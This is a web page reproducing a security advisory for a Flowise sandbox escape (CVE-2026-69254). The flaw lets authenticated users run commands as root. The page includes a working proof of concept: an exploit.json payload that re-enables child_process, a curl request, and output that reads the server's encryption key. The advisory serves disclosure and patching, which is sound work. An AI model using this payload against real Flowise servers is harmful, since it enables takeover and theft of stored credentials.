GHSA-3769-JGQC-CXM7

Vulnerability from github – Published: 2026-08-04 15:29 – Updated: 2026-08-04 15:29
VLAI
Summary
Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
Details

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

```typescript const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

async (code, sandbox, options = {}) => { const { nodeVMOptions = {} } = options; // ... const defaultNodeVMOptions = { require: { builtin: builtinDeps, // restricted allowlist — blocks child_process, fs, os, etc. mock: secureWrappers }, eval: false, wasm: false } const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions } // ← VULN: caller overrides security settings const vm = new NodeVM(finalNodeVMOptions) } ``` The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration
packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller
executeCustomFunction() passes req.body to service — packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction — packages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry
Code runs inside NodeVM via executeJavaScriptCode() — packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE
Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

```bash docker run -d --name flowise-poc -p 3000:3000 \ -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
flowiseai/flowise:latest

# Wait ~30s for startup
curl http://localhost:3000/api/v1/version # {"version":"3.1.1"}
```

Step 2: Obtain Bearer Token

Register an account, then create an API key:

```bash
# Register
curl -s -X POST http://localhost:3000/api/v1/account/register \ -H "Content-Type: application/json" \ -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'

# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key — this is the Bearer token used below.
```

Step 3: Create Payload

bash cat > exploit.json << 'EOF' { "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\"); return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })" } EOF

Step 4: Exploit

```bash # Pre-check: file does not exist docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory

# Execute
curl -X POST http://localhost:3000/api/v1/node-custom-function \ -H "Content-Type: application/json" \
-H "Authorization: Bearer " \ -d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"

docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r-- 1 root root 138 Apr 2 05:02 /tmp/RCE-PROOF.txt

docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...

docker exec flowise-poc cat /root/.flowise/encryption.key # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb
```
image

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which
decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:29:12Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability in `executeJavaScriptCode()` allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided `nodeVMOptions` that override the\n  default sandbox security settings via JavaScript\u0027s spread operator, allowing an attacker to re-enable blocked modules like `child_process` and `fs`.\n\n### Details\nThe vulnerability is in `packages/components/src/utils.ts` at line 1755:\n\n  ```typescript\n  const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }\n\n  The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:\n\n  async (code, sandbox, options = {}) =\u003e {\n      const { nodeVMOptions = {} } = options;\n      // ...\n      const defaultNodeVMOptions = {\n          require: {\n              builtin: builtinDeps,  // restricted allowlist \u2014 blocks child_process, fs, os, etc.\n              mock: secureWrappers\n          },\n          eval: false,\n          wasm: false\n      }\n      const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // \u2190 VULN: caller overrides security settings\n      const vm = new NodeVM(finalNodeVMOptions)\n  }\n```\nThe spread operator allows any caller to override require.builtin with [\"*\"], which permits all Node.js built-in modules including child_process.\n\n\n**Taint 01: Route Registration**                                                                                                                                                                                                           \n  `packages/server/src/routes/node-custom-functions/index.ts` (line 8)                                                                                                                                                                       \n                                                                                                                                                                                                                                             \n  **Taint 02: Controller**                                                                                                                                                                                                                   \n  `executeCustomFunction()` passes `req.body` to service \u2014 `packages/server/src/controllers/nodes/index.ts` (line 90)                                                                                                                        \n                                                                                                                                                                                                                                             \n  **Taint 03: Service**\n  `executeCustomNodeFunction()` loads the `customFunction` node and calls `init()` with user-provided `javascriptFunction` \u2014 `packages/server/src/utils/executeCustomNodeFunction.ts` (line 49)\n                                                                                                                                                                                                                                             \n  **Taint 04: Sandbox Entry**                                                                                                                                                                                                                \n  Code runs inside NodeVM via `executeJavaScriptCode()` \u2014 `packages/components/src/utils.ts` (line 1760)                                                                                                                                     \n                                                                                                                                                                                                                                             \n  **Taint 05: Escape**\n  Inside the sandbox, the attacker requires `flowise-components/dist/src/utils.js` by absolute path (bypassing the module allowlist), obtaining a reference to `executeJavaScriptCode()` itself\n                                                                                                                                                                                                                                             \n  **Taint 06: Override**\n  The attacker calls `executeJavaScriptCode()` with `nodeVMOptions: { require: { builtin: [\"*\"] } }`, which overrides the security defaults at line 1755: `{ ...defaultNodeVMOptions, ...nodeVMOptions }`                                    \n                                                                                                                                                                                                                                             \n  **Taint 07: RCE**                                                                                                                                                                                                                          \n  Inside the nested VM, `require(\"child_process\")` succeeds. Arbitrary commands execute as root.                                                                                                                                             \n\n\n\n\n\n### PoC\n  **Step 1: Start Flowise**                                                                                                                                                                                                                  \n                  \n  ```bash\n  docker run -d --name flowise-poc -p 3000:3000 \\\n    -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \\                                                                                                                                                                                         \n    flowiseai/flowise:latest                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                             \n  # Wait ~30s for startup                                                                                                                                                                                                                    \n  curl http://localhost:3000/api/v1/version\n  # {\"version\":\"3.1.1\"}                                                                                                                                                                                                                      \n  ```             \n                                                                                                                                                                                                                                             \n  **Step 2: Obtain Bearer Token**\n\n  Register an account, then create an API key:                                                                                                                                                                                               \n   \n  ```bash                                                                                                                                                                                                                                    \n  # Register      \n  curl -s -X POST http://localhost:3000/api/v1/account/register \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"user\":{\"email\":\"attacker@test.com\",\"password\":\"Attack12345\",\"name\":\"Attacker\"}}\u0027                                                                                                                                                   \n                                                                                                                                                                                                                                             \n  # Create API key (via the UI at http://localhost:3000 \u2192 Settings \u2192 API Keys \u2192 Create)                                                                                                                                                      \n  # Copy the key \u2014 this is the Bearer token used below.                                                                                                                                                                                      \n  ```                                                                                                                                                                                                                                        \n                  \n  **Step 3: Create Payload**                                                                                                                                                                                                                 \n                  \n  ```bash\n  cat \u003e exploit.json \u003c\u003c \u0027EOF\u0027\n  {\n    \"javascriptFunction\": \"const utils = require(\u0027/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js\u0027); const code = \u0027const cp = require(\\\"child_process\\\"); cp.execSync(\\\"id \u003e /tmp/RCE-PROOF.txt\\\");    \n  return cp.execSync(\\\"id\\\").toString()\u0027; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\\\"*\\\"] } } })\"                                                                                          \n  }                                                                                                                                                                                                                                          \n  EOF                                                                                                                                                                                                                                        \n  ```             \n\n  **Step 4: Exploit**\n\n  ```bash\n  # Pre-check: file does not exist\n  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           \n  # ls: /tmp/RCE-PROOF.txt: No such file or directory                                                                                                                                                                                        \n                                                                                                                                                                                                                                             \n  # Execute                                                                                                                                                                                                                                  \n  curl -X POST http://localhost:3000/api/v1/node-custom-function \\\n    -H \"Content-Type: application/json\" \\                                                                                                                                                                                                    \n    -H \"Authorization: Bearer \u003cTOKEN\u003e\" \\\n    -d @exploit.json                                                                                                                                                                                                                         \n  # \"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\\n\"                                                                                                                                                             \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt                                                                                                                                                                                           \n  # -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt                                                                                                                                                                            \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc cat /tmp/RCE-PROOF.txt                                                                                                                                                                                             \n  # uid=0(root) gid=0(root) groups=0(root)...                                                                                                                                                                                                \n                                                                                                                                                                                                                                             \n  docker exec flowise-poc cat /root/.flowise/encryption.key\n  # GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb                                                                                                                                                                                                         \n  ```                                                                                                                                                                                                                                        \n\u003cimg width=\"1919\" height=\"1033\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc\" /\u003e\n\n\n### Impact\nFull remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at `/root/.flowise/encryption.key` (which  \n  decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at `/root/.flowise/jwt_auth_token_secret.key` (which allows forging authentication tokens for any user), and establish persistent\n   access via cron jobs or reverse shells. All Flowise deployments running \u003e= 3.0.5 through 3.1.1 (latest) are affected.",
  "id": "GHSA-3769-jgqc-cxm7",
  "modified": "2026-08-04T15:29:13Z",
  "published": "2026-08-04T15:29:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3769-jgqc-cxm7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/3086cb7e323bb96c5a581d3232ef975b0d92183d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…